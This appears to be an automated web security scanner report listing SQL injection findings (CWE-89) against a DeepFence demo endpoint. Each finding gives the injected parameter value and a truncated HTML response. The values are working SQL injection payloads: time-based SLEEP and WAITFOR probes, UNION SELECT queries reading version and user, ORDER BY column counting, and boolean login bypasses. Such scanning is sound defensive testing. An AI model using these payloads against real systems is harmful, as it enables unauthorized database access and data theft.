z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1470
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1471Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1472
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1473
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# &&SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1474
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or "1"="1"#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1475
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1476Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1477
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ") or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1478
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1479
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# waitfor delay '00:00:05'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1480
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1481
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# \\
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1482
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1483
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1484
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1485
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
